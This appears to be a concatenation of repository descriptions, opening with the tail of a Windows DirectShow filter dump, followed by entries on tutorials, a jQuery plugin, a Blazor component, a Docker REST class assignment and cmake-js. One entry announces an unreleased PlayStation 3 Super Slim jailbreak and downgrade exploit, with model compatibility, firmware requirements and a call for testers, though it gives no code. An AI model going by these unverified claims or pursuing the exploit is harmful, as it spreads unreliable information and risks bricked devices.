RLE,0x00200000,1,1,qcap.dll,6.06.9200.16384 Microsoft Video 1,0x00200000,1,1,qcap.dll,6.06.9200.16384 Audio Compressors: WM Speech Encoder DMO,0x00600800,1,1,WMSPDMOE.DLL,6.02.9200.16384 WMAudio Encoder DMO,0x00600800,1,1,WMADMOE.DLL,6.02.9200.16384 IMA ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 PCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 Microsoft ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 GSM 6.10,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT A-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT u-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 MPEG Layer-3,0x00200000,1,1,quartz.dll,6.06.9200.16384 Audio Capture Sources: Lydstyrke til mikrofon (Realtek High Definition Audio),0x00200000,0,0,qcap.dll,6.06.9200.16384 PBDA CP Filters: PBDA DTFilter,0x00600000,1,1,CPFilters.dll,6.06.9200.16384 PBDA ETFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 PBDA PTFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 Midi Renderers: Default MidiOut Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Microsoft GS Wavetable Synth,0x00200000,1,0,quartz.dll,6.06.9200.16384 WDM Streaming Capture Devices: ,0x00000000,0,0,, WDM Streaming Rendering Devices: Realtek HD Audio output,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 BDA Network Providers: Microsoft ATSC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBS Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBT Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft Network Provider,0x00200000,0,1,MSNP.ax,6.06.9200.16384 Multi-Instance Capable VBI Codecs: VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 BDA Transport Information Renderers: BDA MPEG2 Transport Information Filter,0x00600000,2,0,psisrndr.ax,6.06.9200.16384 MPEG-2 Sections and Tables,0x00600000,1,0,Mpeg2Data.ax,6.06.9200.16384 BDA CP/CA Filters: Decrypt/Tag,0x00600000,1,1,EncDec.dll,6.06.9200.16384 Encrypt/Tag,0x00200000,0,0,EncDec.dll,6.06.9200.16384 PTFilter,0x00200000,0,0,EncDec.dll,6.06.9200.16384 XDS Codec,0x00200000,0,0,EncDec.dll,6.06.9200.16384 WDM Streaming Communication Transforms: Tee/Sink-to-Sink-konverteringsprogram,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Audio Renderers: Højttalere (Realtek High Definition Audio),0x00200000,1,0,quartz.dll,6.06.9200.16384 Default DirectSound Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Default WaveOut Device,0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Højttalere (Realtek High Definition Audio),0x00200000,1,0,quartz.dll,6.06.9200.16384 ---------------------------- Preferred DirectShow Filters ---------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\DirectShow\Preferred] <media subtype GUID>, [<filter friendly name>, ]<filter CLSID> MEDIASUBTYPE_WMAUDIO_LOSSLESS, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_MPG4, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_WVC1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject WMMEDIASUBTYPE_WMSP2, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject {64687664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_h264, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG1AudioPayload, MPEG Audio Decoder, CLSID_CMpegAudioCodec {78766964-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_WMAUDIO3, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_WMV2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MPEG2_AUDIO, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS {64697678-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_MP3, MP3 Decoder DMO, CLSID_CMP3DecMediaObject MEDIASUBTYPE_mp42, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_MSS1, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject MEDIASUBTYPE_WVP2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVP, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV3, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVR, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MJPG, MJPEG Decompressor, CLSID_MjpegDec MEDIASUBTYPE_mp43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject MEDIASUBTYPE_MSS2, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject {64737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec WMMEDIASUBTYPE_WMAudioV8, WMAudio Decoder DMO, CLSID_CWMADecMediaObject {44495658-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_WMSP1, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject MEDIASUBTYPE_RAW_AAC1, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS MEDIASUBTYPE_MP43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject {6C737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_AVC1, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG1Payload, MPEG Video Decoder, CLSID_CMpegVideoCodec {20637664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCo
sahanpasindu
This is the sample project which we created in very 1st Youtube video tutorial
papayaah
originally written by Remy Sharp - http://remysharp.com/2007/01/25/jquery-tutorial-text-box-hints/. Improved on it by options for styling and retaining original input styles
nightBaker
https://nightbaker.github.io/gitflow/azure/piplines/2020/01/22/blazor-error-component/ Tutorial how to create common error component and using it as Cascading parameter, so that any component in tree can access and uses it to show errors messages.
inikhilkedia
** This assignment will combine a few things that you have learned in this class and will require a little learning on your own. Do your best and be creative. If you need help ask sooner rather than later in slack. Myself and your classmates are here to help and do not wait to the last minute to do this assignment. ** You may work in two person teams, if you plan to do so please email me to let me know who you are working with. You may NOT work in multiple teams. ** You may use python, JAVA or node.js (javascript) for this assignment. ** I have listed some tutorials below, but you may need to google some on your own. What You Will Do: You will create a RESTful web service that runs in a docker container. Your web service will contain two GET routes: One that displays a collection of records One that displays a single record that the corresponds to an ID Example: If I created two routes, /customers and /customers/35 (note, that 35 is the ID of a given customer in my database) The data returned from your web service routes must be in JSON or XML form. Note, if you would like to load your results in a web page you are welcome to do so, you just need a way to display the data your routes return in a web browser. You will create a hardcoded JSON file based database as the backing datastore for your web service routes. Note, if you are comfortable using a SQL or NO-SQL database as your datastore you may do so but it is not required. Also note, your data model is something you make up. Meaning you can store a collection of cars, customers, food items, restaurants, video games, sports teams etc. Be creative :) This is similar to what the presenter did in the GraphQL video we watched in our last class. He used a JSON file as a database for his demo. You will have to present your work to the class, with a live demo or video you recorded of you running your web service from own computer. This is not optional! Tutorials: Docker What is docker: https://www.youtube.com/watch?v=dz5_lsWlfTU Installing Docker: Windows - https://www.youtube.com/watch?v=wCTTHhehJbU Docker Tutorial (Step by Step) - https://www.youtube.com/watch?v=Vyp5_F42NGs https://blog.talpor.com/2015/01/docker-beginners-tutorial/ https://docs.docker.com/engine/getstarted/ https://hackr.io/tutorials/learn-docker Python RESTful services using Flask: https://code.tutsplus.com/tutorials/building-restful-apis-with-flask-diy--cms-26625 https://impythonist.wordpress.com/2015/07/12/build-an-api-under-30-lines-of-code-with-python-and-flask/ Node + Express REST API Example https://closebrace.com/tutorials/2017-03-02/creating-a-simple-restful-web-app-with-nodejs-express-and-mongodb Node Simple RESTful API (shows using json file as DB) https://www.tutorialspoint.com/nodejs/nodejs_restful_api.htm Dockerize your Flask App https://www.smartfile.com/blog/dockerizing-a-python-flask-application/ http://containertutorials.com/docker-compose/flask-simple-app.html Docker + Spring Boot (JAVA) https://spring.io/guides/gs/spring-boot-docker/ To Submit The Assignment (Read Carefully): ** Please follow all instructions as not following them will lead to loss of points. Create a github account. Create public github repository and all all of your source code for this assignment to the repository. (See the “getting started with github” document in the “Course Documents > Tutorials & Cheat Sheets” folder for help) Make sure to add a README file to the root of your repository that describes what your web service does. Create a presentation powerpoint slide deck that contains 2 slides: A title slides that contains your name(s) and the name of your web service project A slide that talks a little about your data model Submit the following to the “Submit Assignment” thread in RESTful Web Service Implementation + Docker discussion board. The powerpoint slide file. Link to your public github repository that contains all of the source code including your JSON database file. Note, if you worked with classmate for this assignment...if you did please state the person you worked with.
locusmodzYT
Welcome LocusHacks -CONTEXT ive been studying the PlayStation 3 Super slim, and as you most likely know there is no working jailbreak on superslim, Atleast not public :wink: I have figured out a very long and efficient way to get it working. i got rebug on superslim, but when i was running the exploit (currently a cmd you run on your pc with remote play and hen connected.) it soft bricked my ps3 the first time, just sony trying to fuck me up with there shit hdd code change detections, ill realese the program followed by a tut when i feel the time is right, -main issues. 1. currently i can only get the exploit working on ubuntu linux, which means if you have a pc your going to need to boot up linux via flash drive if you have windows. 2. some model numbers brick, CECH-40xxA and CECH-40xxB are currently not working, (might get it working in the future.) but CECH-40xxC works perfectly fine! 3. currently only slim CECH-30xxA CECH-30xxB are only working on the exploit. CECH-21xxA CECH-21xxB and CECH-25xxA CECH-25xxB will 100% come later as this exploit is only in its beta stage. 4. A CUSTOM Version of remote play is required to run the exploit, You will also need HEN 3.01 and 4.86 Firmware. 5. THIS IS A DOWNGRADEING METHOD. WHICH MEANS THIS COULD BRICK YOUR SYSTEM, THERE IS A 50-50 CHANCE, I AM NOT RESPONSIBLE IF YOU BRICK YOUR CONSOLE. NOTE: -ALL FAT MODELS WORK AS OF 4/17/20 -Rebug D-rex (dex) is not working right now, but 100% will come in the next few weeks. - I dont know when i should make this exploit public, but when i do a tutorial will be released on my yt and fourm page. -might look for available testers that are 15 up and understand this stuff sort of, also must be ok with booting up ubuntu linux off a usb-c flash drive. - this is only V0.10 BETA, these problems will be fixed in the future, - if anyone sees this and is interested with beta testing, DM ME Locus#0561. - i will link no screenshots to ANYONE of my method. More Issues. CCAPI Isnt working as of 4/17/20. Although TMAPI Is working followed by PS3MAPI. More Info Coming Soon.
cmake-js
CMake.js - Tutorial 01